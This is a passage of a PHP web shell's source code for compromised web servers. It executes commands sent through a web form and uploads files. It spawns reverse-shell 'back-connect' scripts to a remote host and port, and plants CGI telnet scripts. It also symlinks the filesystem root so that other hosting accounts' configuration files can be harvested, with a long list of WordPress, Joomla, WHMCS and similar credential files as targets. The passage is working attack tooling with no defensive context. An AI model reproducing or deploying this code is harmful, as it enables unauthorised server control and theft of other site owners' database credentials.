220 1 => array("pipe", "w"),
221 2 => array("pipe", "w")
222 );
223 $ntodProc = @proc_open($cmd, $ntod, $pipe, getcwd(), array());
224 if(is_resource($ntodProc)){
225 while($ntodS = fgets($pipe[1])){
226 if(!empty($ntodS)){
227 $ntoy .= $ntodS;
228 }
229 }
230 while($ntodY = fgets($pipe[2])){
231 if(!empty($ntodY)){
232 $ntoy .= $ntodY;
233 }
234 }
235 }
236 @proc_close($ntodProc);
237 if(!empty($ntoy)){
238 return $ntoy;
239 }
240 }
241 elseif(is_callable('popen')){
242 $ntod = @popen($cmd, 'r');
243 if($ntod){
244 while(!feof($ntod)){
245 $ntoy .= fread($ntod, 2096);
246 }
247 pclose($ntod);
248 }
249 if(!empty($ntoy)){
250 return $ntoy;
251 }
252 }
253 }
254 function writAble($dir, $perm){
255 if(!is_writable($dir)){
256 return "<font color=\"#C0392B\">".$perm."</font>";
257 }
258 else{
259 return "<font color=\"#1D8348\">".$perm."</font>";
260 }
261 }
262 function readAble($dir, $perm){
263 if(!is_readable($dir)){
264 return "<font color=\"#C0392B\">".$perm."</font>";
265 }
266 else{
267 return "<font color=\"#1D8348\">".$perm."</font>";
268 }
269 }
270 function getBwah($url, $type){
271 $urlArr = array();
272 $ch = curl_init();
273 curl_setopt($ch, CURLOPT_URL, $url);
274 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
275 $result = curl_exec($ch);
276 preg_match_all("|<a.*?href=\"(.*?)\"|", $result, $rw);
277 $lk = $rw[1];
278 foreach($lk as $lnk){
279 array_push($urlArr, $lnk);
280 }
281 curl_close($ch);
282 foreach($urlArr as $val){
283 $mes = "$url$val";
284 if(preg_match("#$type#is", $mes)){
285 echo $mes."\r\n";
286 }
287 }
288 }
289 function cookieRequest($url){
290 $options = array(
291 CURLOPT_RETURNTRANSFER => true,
292 CURLOPT_FOLLOWLOCATION => true,
293 CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0",
294 CURLOPT_CONNECTTIMEOUT => 5,
295 CURLOPT_SSL_VERIFYPEER => false,
296 CURLOPT_SSL_VERIFYHOST => false,
297 CURLOPT_COOKIEJAR => "cookie.txt",
298 CURLOPT_COOKIEFILE => "cookie.txt",
299 CURLOPT_COOKIESESSION => true
300 );
301 $ch = curl_init($url);
302 curl_setopt_array($ch, $options);
303 $data = curl_exec($ch);
304 return $data;
305 }
306 function makeRequest($url, $post = null, $head = null){
307 $options = array(
308 CURLOPT_URL => $url,
309 CURLOPT_CONNECTTIMEOUT => 15,
310 CURLOPT_RETURNTRANSFER => true,
311 CURLOPT_FOLLOWLOCATION => true,
312 CURLOPT_SSL_VERIFYHOST => false,
313 CURLOPT_SSL_VERIFYPEER => false,
314 CURLOPT_MAXREDIRS => 10
315 );
316 $ch = curl_init();
317 curl_setopt_array($ch, $options);
318 if($post && !empty($post)){
319 curl_setopt($ch, CURLOPT_POST, true);
320 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
321 }
322 if($head && !empty($head)){
323 curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
324 }
325 $outputs = curl_exec($ch);
326 curl_close($ch);
327 return($outputs);
328 }
329 function perms($file){
330 $perms = fileperms($file);
331 if (($perms & 0xC000) == 0xC000) {
332 // Socket
333 $info = 's';
334 } elseif (($perms & 0xA000) == 0xA000) {
335 // Symbolic Link
336 $info = 'l';
337 } elseif (($perms & 0x8000) == 0x8000) {
338 // Regular
339 $info = '-';
340 } elseif (($perms & 0x6000) == 0x6000) {
341 // Block special
342 $info = 'b';
343 } elseif (($perms & 0x4000) == 0x4000) {
344 // Directory
345 $info = 'd';
346 } elseif (($perms & 0x2000) == 0x2000) {
347 // Character special
348 $info = 'c';
349 } elseif (($perms & 0x1000) == 0x1000) {
350 // FIFO pipe
351 $info = 'p';
352 } else {
353 // Unknown
354 $info = 'u';
355 }
356 // Owner
357 $info .= (($perms & 0x0100) ? 'r' : '-');
358 $info .= (($perms & 0x0080) ? 'w' : '-');
359 $info .= (($perms & 0x0040) ?
360 (($perms & 0x0800) ? 's' : 'x' ) :
361 (($perms & 0x0800) ? 'S' : '-'));
362 // Group
363 $info .= (($perms & 0x0020) ? 'r' : '-');
364 $info .= (($perms & 0x0010) ? 'w' : '-');
365 $info .= (($perms & 0x0008) ?
366 (($perms & 0x0400) ? 's' : 'x' ) :
367 (($perms & 0x0400) ? 'S' : '-'));
368 // World
369 $info .= (($perms & 0x0004) ? 'r' : '-');
370 $info .= (($perms & 0x0002) ? 'w' : '-');
371 $info .= (($perms & 0x0001) ?
372 (($perms & 0x0200) ? 't' : 'x' ) :
373 (($perms & 0x0200) ? 'T' : '-'));
374 return $info;
375 }
376 function hdd($s) {
377 if($s >= 1073741824)
378 return sprintf('%1.2f',$s / 1073741824 ).' GB';
379 elseif($s >= 1048576)
380 return sprintf('%1.2f',$s / 1048576 ) .' MB';
381 elseif($s >= 1024)
382 return sprintf('%1.2f',$s / 1024 ) .' KB';
383 else
384 return $s .' B';
385 }
386 if(isset($_GET['dir'])) {
387 $dir = $_GET['dir'];
388 chdir($dir);
389 } else {
390 $dir = getcwd();
391 }
392 if(!function_exists('posix_getegid')) {
393 $user = @get_current_user();
394 $uid = @getmyuid();
395 $gid = @getmygid();
396 $group = "?";
397 } else {
398 $uid = @posix_getpwuid(posix_geteuid());
399 $gid = @posix_getgrgid(posix_getegid());
400 $user = $uid['name'];
401 $uid = $uid['uid'];
402 $group = $gid['name'];
403 $gid = $gid['gid'];
404 }
405 $mpss = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
406 $freespace = hdd(disk_free_space("/"));
407 $total = hdd(disk_total_space("/"));
408 $used = $total - $freespace;
409 $ip = gethostbyname($_SERVER['HTTP_HOST']);
410 $safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=\"#C0392B\">ON</font>" : "<font color=\"#1D8348\">OFF</font>";
411 $mysql = (is_callable("mysql_connect")) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
412 $curl = (is_callable("curl_version")) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
413 $wget = (execute('wget --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
414 $perl = (execute('perl --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
415 $python = (execute('python --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
416 $ruby = (execute('ruby --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
417 $gcc = (execute('gcc --help')) ? "<font color=\"#1D8348\">ON</font>" : "<font color=\"#C0392B\">OFF</font>";
418 $dis = @ini_get("disable_functions");
419 $dfunc = (!empty($dis)) ? "<br><font color=\"#C0392B\">$dis</font>" : "<font color=\"#1D8348\">OFF</font>";
420 $dir = str_replace("\\","/",$dir);
421 $scdir = explode("/", $dir);
422 $namedc = (is_readable("/etc/named.conf")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>";
423 $etcPass = (is_readable("/etc/passwd")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>";
424 $valiases = (is_readable("/etc/valiases")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>";
425 $varNamed = (is_readable("/var/named")) ? "<font color=\"#1D8348\">OK</font>" : "<font color=\"#C0392B\">BAD</font>";
426 echo "<div class=\"toed\">";
427 echo "
428 <div id=\"nav\">
429 <a class=\"nav-fokus\" href=\"?\"><b>Home</b></a>
430 <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=upload\">Upload</a>
431 <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=cmd\">Command</a>
432 <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=backconnect\">Network</a>
433 <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=cgi_\">CGI</a>
434 <a class=\"nav-fokus\" href=\"?dir=$dir&ntod=ngonpig\">Conf</a>
435 <a class=\"nav-fokus\" href=\"?ntod=kill\">Kill</a>
436 <a class=\"nav-fokus\" href=\"?logout=true\">Logout</a>
437 </div>";
438 echo "System : <font color=\"#5DADE2\">".php_uname()."</font><br>";
439 echo "User : <font color=\"#5DADE2\">$user</font> ($uid) Group: <font color=\"#5DADE2\">$group</font> ($gid)<br>";
440 echo "IP : <font color=\"#5DADE2\">$ip</font> (Server) | <font color=\"#5DADE2\">".$_SERVER['REMOTE_ADDR']."</font> (You)<br>";
441 echo "HDD : <font color=\"#5DADE2\">$used</font> (USED) / <font color=\"#5DADE2\">$total</font> (TOTAL) / <font color=\"#5DADE2\">$freespace</font> (FREE)<br>";
442 echo "Safe : $safe<br>";
443 echo "MySql ($mysql) cURL ($curl) wGet ($wget) Perl ($perl) Python ($python) Ruby ($ruby) Gcc ($gcc)<br>";
444 echo "Named.Conf ($namedc) Passwd ($etcPass) Valiases ($valiases) Named ($varNamed)<br>";
445 echo "Is Cpanel ()";
446 echo "Disable Function : $dfunc<br>";
447 echo "DIR : <font color=\"#5DADE2\">";
448 foreach($scdir as $c_dir => $cdir){
449 echo "<a href=\"?dir=/";
450 for($i = 0; $i <= $c_dir; $i++){
451 echo $scdir[$i];
452 if($i != $sc_dir){
453 echo "/";
454 }
455 }
456 echo "\">$cdir</a>/</font>";
457 }
458 echo "<br>
459 <a href=\"?dir=$dir&ntod=adminer\">Adminer</a> |
460 <a href=\"?dir=$dir&ntod=cpreset\">Cpanel Reset</a> |
461 <a href=\"?dir=$dir&ntod=titleChange\">Wordpress Title Changer</a>";
462 echo "</div>";
463 $nTod = $_GET['ntod'];
464 if($_GET['logout'] == true){
465 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
466 echo "<script>alert(\"Thanks for using my shell :D\");</script>";
467 }
468 elseif($nTod == "upload"){
469 echo "<center><form method=\"POST\" enctype=\"multipart/form-data\">
470 <input type=\"file\" name=\"fils\">
471 <input type=\"submit\" name=\"upl\" value=\"Upload!\">
472 </form>";
473 if($_POST["upl"]){
474 if(@copy($_FILES["fils"]["tmp_name"], "$dir/".$_FILES["fils"]["name"]."")){
475 echo "<font color=\"#1D8348\">Success Upload</font> at <b>$dir/".$_FILES["fils"]["name"]."</b>";
476 }
477 else{
478 echo "<font color=\"#C0392B\">Could not upload file</font>";
479 }
480 }
481 echo "</center>";
482 }
483 elseif($nTod == "cmd"){
484 echo "
485 <form method=\"POST\">
486 <input type=\"text\" name=\"cmd\" required>
487 <input type=\"submit\" name=\"subm\" value=\"Exe\">
488 </form>";
489 if($_POST["subm"]){
490 $mahx = execute($_POST["cmd"]);
491 if($mahx){
492 echo "<pre>$mahx</pre>";
493 }
494 }
495 }
496 elseif($nTod == "kill"){
497 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))){
498 echo "<center><br><h2><b>Shell Removed</b><br>Good bye, Thanks for take my shell today :D<h2></center>";
499 }
500 else{
501 echo "<center>Oppshi!!! I can't kill my self :|</center>";
502 }
503 }
504 elseif($nTod == "backconnect"){
505 echo "
506 <br><center><form method=\"POST\">
507 <h1>Back-Connect</h1><br>
508 Server: <input type=\"text\" name=\"server\" placaeholder=\"".$_SERVER['REMOTE_ADDR']."\"> Port <input type=\"text\" name=\"port\" placeholder=\"2234\">
509 <select name=\"ntodBc\">
510 <option value=\"perl\">PERL</option>
511 <option value=\"python\">Python</option>
512 <option value=\"ruby\">Ruby</option>
513 </select>
514 <input type=\"submit\" name=\"subm\" value=\"BC!!!\"><br/>";
515 if($_POST["subm"]){
516 if($_POST["ntodBc"] == "perl"){
517 $fp = fopen("bc.pl", "w");
518 if(fwrite($fp, base64_decode(PERL_BC))){
519 $res = execute("perl bc.pl ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &");
520 echo $res . "<pre>".execute("ps aux | grep bc.pl")."</pre>";
521 }
522 else{
523 echo "I can't create a back connect file :|";
524 }
525 fclose($fp);
526 unlink("bc.pl");
527 }
528 elseif($_POST["ntodBc"] == "python"){
529 $fp = fopen("bc.py", "w");
530 if(fwrite($fp, base64_decode(PYTHON_BC))){
531 $res = execute("perl bc.py ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &");
532 echo $res . "<pre>".execute("ps aux | grep bc.py")."</pre>";
533 }
534 else{
535 echo "I can't create a back connect file :|";
536 }
537 fclose($fp);
538 unlink("bc.py");
539 }
540 elseif($_POST["ntodBc"] == "ruby"){
541 $fp = fopen("bc.rb", "w");
542 if(fwrite($fp, base64_decode(RUBY_BC))){
543 $res = execute("perl bc.rb ".$_POST["server"]." ".$_POST["port"]." 1>/dev/null 2>&1 &");
544 echo $res . "<pre>".execute("ps aux | grep bc.rb")."</pre>";
545 }
546 else{
547 echo "I can't create a back connect file :|";
548 }
549 fclose($fp);
550 unlink("bc.rb");
551 }
552 }
553 echo "</center>";
554 }
555 elseif($nTod == "cgi_"){
556 echo "<br><br><center><b><h1>Cgi _ Telnet</h1><br><a href=\"?dir=$dir&ntod=cgi\">CGI</a> | <a href=\"?dir=$dir&ntod=cgi2\">CGI 2</a></b></center>";
557 }
558 elseif($nTod == "cgi"){
559 @mkdir('con7ext_', 0755);
560 @chdir('con7ext_');
561 $fp = fopen(".htaccess", "w");
562 $fpcgi = fopen("cgi.con7ext", "w");
563 fwrite($fp, HTACCESS);
564 fwrite($fpcgi, base64_decode(CGI_1));
565 @chmod("cgi.con7ext", 0755);
566 @chmod(".htaccess", 0755);
567 echo "<br><center>--><a href=\"$mpss/con7ext_/cgi.con7ext\">Done Klik Here</a><--<br/><iframe src=\"$mpss/con7ext_/cgi.con7ext\" style=\"width: 100%; height: 500px\"></center>";
568 }
569 elseif($nTod == "cgi2"){
570 @mkdir('con7ext_', 0755);
571 @chdir('con7ext_');
572 $fp = fopen(".htaccess", "w");
573 $fpcgi = fopen("cgi2.con7ext", "w");
574 fwrite($fp, HTACCESS);
575 fwrite($fpcgi, base64_decode(CGI_2));
576 @chmod("cgi2.con7ext", 0755);
577 @chmod(".htaccess", 0755);
578 echo "<br><center>--><a href=\"$mpss/con7ext_/cgi2.con7ext\">Done Klik Here</a><--<br/><iframe src=\"$mpss/con7ext_/cgi2.con7ext\" style=\"width: 100%; height: 500px\"></center>";
579 }
580 elseif($nTod == "ngonpig"){
581 if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
582 echo "<script>alert(\"Sorry, This function not working in windows server\");</script>";
583 exit;
584 }
585 if($_POST["subm"]){
586 if($_POST["conf"] == "vhosts"){
587 @mkdir("con7ext_conf/vhosts", 0777, true);
588 @execute("ln -s / con7ext_conf/vhosts/root");
589 @file_put_contents("con7ext_conf/vhosts/.htaccess", SYM);
590 $passwd = $_POST["pws"];
591 $passwd = explode("\n", $passwd);
592 foreach($passwd as $ikuzo){
593 $nto = explode(":", $ikuzo);
594 $user = $nto[5];
595 $mpsh = preg_replace('/\/var\/www\/vhosts\//', '', $user);
596 if(preg_match('/vhosts/i', $user)){
597 execute("ln -s ".$user."/httpdocs/wp-config.php con7ext_symvhosts/".$mpsh."-Wordpress.txt");
598 execute("ln -s ".$user."/httpdocs/configuration.php con7ext_symvhosts/".$mpsh."-Joomla.txt");
599 execute("ln -s ".$user."/httpdocs/config/koneksi.php con7ext_symvhosts/".$mpsh."-Lokomedia.txt");
600 execute("ln -s ".$user."/httpdocs/forum/config.php con7ext_symvhosts/".$mpsh."-phpBB.txt");
601 execute("ln -s ".$user."/httpdocs/sites/default/settings.php con7ext_symvhosts/".$mpsh."-Drupal.txt");
602 execute("ln -s ".$user."/httpdocs/config/settings.inc.php con7ext_symvhosts/".$mpsh."-PrestaShop.txt");
603 execute("ln -s ".$user."/httpdocs/app/etc/local.xml con7ext_symvhosts/".$mpsh."-Magento.txt");
604 execute("ln -s ".$user."/httpdocs/admin/config.php con7ext_symvhosts/".$mpsh."-OpenCart.txt");
605 execute("ln -s ".$user."/httpdocs/application/config/database.php con7ext_symvhosts/".$mpsh."-Ellislab.txt");
606 }
607 }
608 echo "<center><a href=\"con7ext_conf/vhosts\" target=\"_blank\">Vhosts</a></center>";
609 }
610 elseif($_POST["conf"] == "sym"){
611 @mkdir("con7ext_conf/sym", 0755, true);
612 @symlink("/", "con7ext_conf/sym/root");
613 @file_put_contents("con7ext_conf/sym/.htaccess", SYM);
614 echo "<center><a href=\"con7ext_conf/sym\" target=\"_blank\">SymConf</a></center>";
615 }
616 elseif($_POST["conf"] == "404"){
617 @mkdir("con7ext_conf/404", 0755, true);
618 @symlink("/", "con7ext_conf/404/root");
619 @file_put_contents("con7ext_conf/404/.htaccess", 404);
620 echo "<center><a href=\"con7ext_conf/404\" target=\"_blank\">404</a></center>";
621 }
622 elseif($_POST["conf"] == "grab"){
623 @mkdir("con7ext_conf/grab", 0755, true);
624 $fp = @fopen("con7ext_conf/grab/.htaccess", "w");
625 fwrite($fp, GREB);
626 echo "<center><a href=\"con7ext_conf/grab\" target=\"_blank\">Grabber</a></center>";
627 }
628 $passwd = $_POST["pws"];
629 preg_match_all('/(.*?):x:/', $passwd, $conf);
630 foreach($conf[1] as $meh){
631 $mah = array(
632 "/home/$meh/.accesshash" => "WHM-accesshash",
633 "/home/$meh/public_html/config/koneksi.php" => "Lokomedia",
634 "/home/$meh/public_html/forum/config.php" => "phpBB",
635 "/home/$meh/public_html/sites/default/settings.php" => "Drupal",
636 "/home/$meh/public_html/config/settings.inc.php" => "PrestaShop",
637 "/home/$meh/public_html/app/etc/local.xml" => "Magento",
638 "/home/$meh/public_html/admin/config.php" => "OpenCart",
639 "/home/$meh/public_html/application/config/database.php" => "Ellislab",
640 "/home/$meh/public_html/vb/includes/config.php" => "Vbulletin",
641 "/home/$meh/public_html/includes/config.php" => "Vbulletin",
642 "/home/$meh/public_html/forum/includes/config.php" => "Vbulletin",
643 "/home/$meh/public_html/forums/includes/config.php" => "Vbulletin",
644 "/home/$meh/public_html/cc/includes/config.php" => "Vbulletin",
645 "/home/$meh/public_html/inc/config.php" => "MyBB",
646 "/home/$meh/public_html/includes/configure.php" => "OsCommerce",
647 "/home/$meh/public_html/shop/includes/configure.php" => "OsCommerce",
648 "/home/$meh/public_html/os/includes/configure.php" => "OsCommerce",
649 "/home/$meh/public_html/oscom/includes/configure.php" => "OsCommerce",
650 "/home/$meh/public_html/products/includes/configure.php" => "OsCommerce",
651 "/home/$meh/public_html/cart/includes/configure.php" => "OsCommerce",
652 "/home/$meh/public_html/inc/conf_global.php" => "IPB",
653 "/home/$meh/public_html/wp-config.php" => "Wordpress",
654 "/home/$meh/public_html/wp/test/wp-config.php" => "Wordpress",
655 "/home/$meh/public_html/blog/wp-config.php" => "Wordpress",
656 "/home/$meh/public_html/beta/wp-config.php" => "Wordpress",
657 "/home/$meh/public_html/portal/wp-config.php" => "Wordpress",
658 "/home/$meh/public_html/site/wp-config.php" => "Wordpress",
659 "/home/$meh/public_html/wp/wp-config.php" => "Wordpress",
660 "/home/$meh/public_html/WP/wp-config.php" => "Wordpress",
661 "/home/$meh/public_html/news/wp-config.php" => "Wordpress",
662 "/home/$meh/public_html/wordpress/wp-config.php" => "Wordpress",
663 "/home/$meh/public_html/test/wp-config.php" => "Wordpress",
664 "/home/$meh/public_html/demo/wp-config.php" => "Wordpress",
665 "/home/$meh/public_html/home/wp-config.php" => "Wordpress",
666 "/home/$meh/public_html/v1/wp-config.php" => "Wordpress",
667 "/home/$meh/public_html/v2/wp-config.php" => "Wordpress",
668 "/home/$meh/public_html/press/wp-config.php" => "Wordpress",
669 "/home/$meh/public_html/new/wp-config.php" => "Wordpress",
670 "/home/$meh/public_html/blogs/wp-config.php" => "Wordpress",
671 "/home/$meh/public_html/configuration.php" => "Joomla",
672 "/home/$meh/public_html/blog/configuration.php" => "Joomla",
673 "/home/$meh/public_html/submitticket.php" => "^WHMCS",
674 "/home/$meh/public_html/cms/configuration.php" => "Joomla",
675 "/home/$meh/public_html/beta/configuration.php" => "Joomla",
676 "/home/$meh/public_html/portal/configuration.php" => "Joomla",
677 "/home/$meh/public_html/site/configuration.php" => "Joomla",
678 "/home/$meh/public_html/main/configuration.php" => "Joomla",
679 "/home/$meh/public_html/home/configuration.php" => "Joomla",
680 "/home/$meh/public_html/demo/configuration.php" => "Joomla",
681 "/home/$meh/public_html/test/configuration.php" => "Joomla",
682 "/home/$meh/public_html/v1/configuration.php" => "Joomla",
683 "/home/$meh/public_html/v2/configuration.php" => "Joomla",
684 "/home/$meh/public_html/joomla/configuration.php" => "Joomla",
685 "/home/$meh/public_html/new/configuration.php" => "Joomla",
686 "/home/$meh/public_html/WHMCS/submitticket.php" => "WHMCS",
687 "/home/$meh/public_html/whmcs1/submitticket.php" => "WHMCS",
688 "/home/$meh/public_html/Whmcs/submitticket.php" => "WHMCS",
689 "/home/$meh/public_html/whmcs/submitticket.php" => "WHMCS",
690 "/home/$meh/public_html/whmcs/submitticket.php" => "WHMCS",
691 "/home/$meh/public_html/WHMC/submitticket.php" => "WHMCS",
692 "/home/$meh/public_html/Whmc/submitticket.php" => "WHMCS",
693 "/home/$meh/public_html/whmc/submitticket.php" => "WHMCS",
694 "/home/$meh/public_html/WHM/submitticket.php" => "WHMCS",
695 "/home/$meh/public_html/Whm/submitticket.php" => "WHMCS",
696 "/home/$meh/public_html/whm/submitticket.php" => "WHMCS",
697 "/home/$meh/public_html/HOST/submitticket.php" => "WHMCS",
698 "/home/$meh/public_html/Host/submitticket.php" => "WHMCS",
699 "/home/$meh/public_html/host/submitticket.php" => "WHMCS",
700 "/home/$meh/public_html/SUPPORTES/submitticket.php" => "WHMCS",
701 "/home/$meh/public_html/Supportes/submitticket.php" => "WHMCS",
702 "/home/$meh/public_html/supportes/submitticket.php" => "WHMCS",
703 "/home/$meh/public_html/domains/submitticket.php" => "WHMCS",
704 "/home/$meh/public_html/domain/submitticket.php" => "WHMCS",
705 "/home/$meh/public_html/Hosting/submitticket.php" => "WHMCS",
706 "/home/$meh/public_html/HOSTING/submitticket.php" => "WHMCS",
707 "/home/$meh/public_html/hosting/submitticket.php" => "WHMCS",
708 "/home/$meh/public_html/CART/submitticket.php" => "WHMCS",
709 "/home/$meh/public_html/Cart/submitticket.php" => "WHMCS",
710 "/home/$meh/public_html/cart/submitticket.php" => "WHMCS",
711 "/home/$meh/public_html/ORDER/submitticket.php" => "WHMCS",
712 "/home/$meh/public_html/Order/submitticket.php" => "WHMCS",
713 "/home/$meh/public_html/order/submitticket.php" => "WHMCS",
714 "/home/$meh/public_html/CLIENT/submitticket.php" => "WHMCS",
715 "/home/$meh/public_html/Client/submitticket.php" => "WHMCS",
716 "/home/$meh/public_html/client/submitticket.php" => "WHMCS",
717 "/home/$meh/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
718 "/home/$meh/public_html/Clientarea/submitticket.php" => "WHMCS",
719 "/home/$meh/public_html/clientarea/submitticket.php" => "WHMCS",
720 "/home/$meh/public_html/SUPPORT/submitticket.php" => "WHMCS",
721 "/home/$meh/public_html/Support/submitticket.php" => "WHMCS",
722 "/home/$meh/public_html/support/submitticket.php" => "WHMCS",
723 "/home/$meh/public_html/BILLING/submitticket.php" => "WHMCS",
724 "/home/$meh/public_html/Billing/submitticket.php" => "WHMCS",
725 "/home/$meh/public_html/billing/submitticket.php" => "WHMCS",
726 "/home/$meh/public_html/BUY/submitticket.php" => "WHMCS",
727 "/home/$meh/public_html/Buy/submitticket.php" => "WHMCS",
728 "/home/$meh/public_html/buy/submitticket.php" => "WHMCS",
729 "/home/$meh/public_html/MANAGE/submitticket.php" => "WHMCS",
730 "/home/$meh/public_html/Manage/submitticket.php" => "WHMCS",
731 "/home/$meh/public_html/manage/submitticket.php" => "WHMCS",
732 "/home/$meh/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
733 "/home/$meh/public_html/ClientSupport/submitticket.php" => "WHMCS",
734 "/home/$meh/public_html/Clientsupport/submitticket.php" => "WHMCS",
735 "/home/$meh/public_html/clientsupport/submitticket.php" => "WHMCS",
736 "/home/$meh/public_html/CHECKOUT/submitticket.php" => "WHMCS",
737 "/home/$meh/public_html/Checkout/submitticket.php" => "WHMCS",
738 "/home/$meh/public_html/checkout/submitticket.php" => "WHMCS",
739 "/home/$meh/public_html/BILLINGS/submitticket.php" => "WHMCS",
740 "/home/$meh/public_html/Billings/submitticket.php" => "WHMCS",
741 "/home/$meh/public_html/billings/submitticket.php" => "WHMCS",
742 "/home/$meh/public_html/BASKET/submitticket.php" => "WHMCS",
743 "/home/$meh/public_html/Basket/submitticket.php" => "WHMCS",
744 "/home/$meh/public_html/basket/submitticket.php" => "WHMCS",
745 "/home/$meh/public_html/SECURE/submitticket.php" => "WHMCS",
746 "/home/$meh/public_html/Secure/submitticket.php" => "WHMCS",
747 "/home/$meh/public_html/secure/submitticket.php" => "WHMCS",
748 "/home/$meh/public_html/SALES/submitticket.php" => "WHMCS",
749 "/home/$meh/public_html/Sales/submitticket.php" => "WHMCS",
750 "/home/$meh/public_html/sales/submitticket.php" => "WHMCS",
751 "/home/$meh/public_html/BILL/submitticket.php" => "WHMCS",
752 "/home/$meh/public_html/Bill/submitticket.php" => "WHMCS",
753 "/home/$meh/public_html/bill/submitticket.php" => "WHMCS",
754 "/home/$meh/public_html/PURCHASE/submitticket.php" => "WHMCS",
755 "/home/$meh/public_html/Purchase/submitticket.php" => "WHMCS",
756 "/home/$meh/public_html/purchase/submitticket.php" => "WHMCS",
757 "/home/$meh/public_html/ACCOUNT/submitticket.php" => "WHMCS",
758 "/home/$meh/public_html/Account/submitticket.php" => "WHMCS",
759 "/home/$meh/public_html/account/submitticket.php" => "WHMCS",
760 "/home/$meh/public_html/USER/submitticket.php" => "WHMCS",
761 "/home/$meh/public_html/User/submitticket.php" => "WHMCS",
762 "/home/$meh/public_html/user/submitticket.php" => "WHMCS",
763 "/home/$meh/public_html/CLIENTS/submitticket.php" => "WHMCS",
764 "/home/$meh/public_html/Clients/submitticket.php" => "WHMCS",
765 "/home/$meh/public_html/clients/submitticket.php" => "WHMCS",
766 "/home/$meh/public_html/BILLINGS/submitticket.php" => "WHMCS",
767 "/home/$meh/public_html/Billings/submitticket.php" => "WHMCS",
768 "/home/$meh/public_html/billings/submitticket.php" => "WHMCS",
769 "/home/$meh/public_html/MY/submitticket.php" => "WHMCS",
770 "/home/$meh/public_html/My/submitticket.php" => "WHMCS",
771 "/home/$meh/public_html/my/submitticket.php" => "WHMCS",
772 "/home/$meh/public_html/secure/whm/submitticket.php" => "WHMCS",
773 "/home/$meh/public_html/secure/whmcs/submitticket.php" => "WHMCS",
774 "/home/$meh/public_html/panel/submitticket.php" => "WHMCS",
775 "/home/$meh/public_html/clientes/submitticket.php" => "WHMCS",
776 "/home/$meh/public_html/cliente/submitticket.php" => "WHMCS",
777 "/home/$meh/public_html/support/order/submitticket.php" => "WHMCS",
778 "/home/$meh/public_html/bb-config.php" => "BoxBilling",
779 "/home/$meh/public_html/boxbilling/bb-config.php" => "BoxBilling",
780 "/home/$meh/public_html/box/bb-config.php" => "BoxBilling",
781 "/home/$meh/public_html/host/bb-config.php" => "BoxBilling",
782 "/home/$meh/public_html/Host/bb-config.php" => "BoxBilling",
783 "/home/$meh/public_html/supportes/bb-config.php" => "BoxBilling",
784 "/home/$meh/public_html/support/bb-config.php" => "BoxBilling",
785 "/home/$meh/public_html/hosting/bb-config.php" => "BoxBilling",
786 "/home/$meh/public_html/cart/bb-config.php" => "BoxBilling",
787 "/home/$meh/public_html/order/bb-config.php" => "BoxBilling",
788 "/home/$meh/public_html/client/bb-config.php" => "BoxBilling",
789 "/home/$meh/public_html/clients/bb-config.php" => "BoxBilling",
790 "/home/$meh/public_html/cliente/bb-config.php" => "BoxBilling",
791 "/home/$meh/public_html/clientes/bb-config.php" => "BoxBilling",
792 "/home/$meh/public_html/billing/bb-config.php" => "BoxBilling",
793 "/home/$meh/public_html/billings/bb-config.php" => "BoxBilling",
794 "/home/$meh/public_html/my/bb-config.php" => "BoxBilling",
795 "/home/$meh/public_html/secure/bb-config.php" => "BoxBilling",
796 "/home/$meh/public_html/support/order/bb-config.php" => "BoxBilling",
797 "/home/$meh/public_html/includes/dist-configure.php" => "Zencart",
798 "/home/$meh/public_html/zencart/includes/dist-configure.php" => "Zencart",
799 "/home/$meh/public_html/products/includes/dist-configure.php" => "Zencart",
800 "/home/$meh/public_html/cart/includes/dist-configure.php" => "Zencart",
801 "/home/$meh/public_html/shop/includes/dist-configure.php" => "Zencart",
802 "/home/$meh/public_html/includes/iso4217.php" => "Hostbills",
803 "/home/$meh/public_html/hostbills/includes/iso4217.php" => "Hostbills",
804 "/home/$meh/public_html/host/includes/iso4217.php" => "Hostbills",
805 "/home/$meh/public_html/Host/includes/iso4217.php" => "Hostbills",
806 "/home/$meh/public_html/supportes/includes/iso4217.php" => "Hostbills",
807 "/home/$meh/public_html/support/includes/iso4217.php" => "Hostbills",
808 "/home/$meh/public_html/hosting/includes/iso4217.php" => "Hostbills",
809 "/home/$meh/public_html/cart/includes/iso4217.php" => "Hostbills",
810 "/home/$meh/public_html/order/includes/iso4217.php" => "Hostbills",
811 "/home/$meh/public_html/client/includes/iso4217.php" => "Hostbills",
812 "/home/$meh/public_html/clients/includes/iso4217.php" => "Hostbills",
813 "/home/$meh/public_html/cliente/includes/iso4217.php" => "Hostbills",
814 "/home/$meh/public_html/clientes/includes/iso4217.php" => "Hostbills",
815 "/home/$meh/public_html/billing/includes/iso4217.php" => "Hostbills",
816 "/home/$meh/public_html/billings/includes/iso4217.php" => "Hostbills",
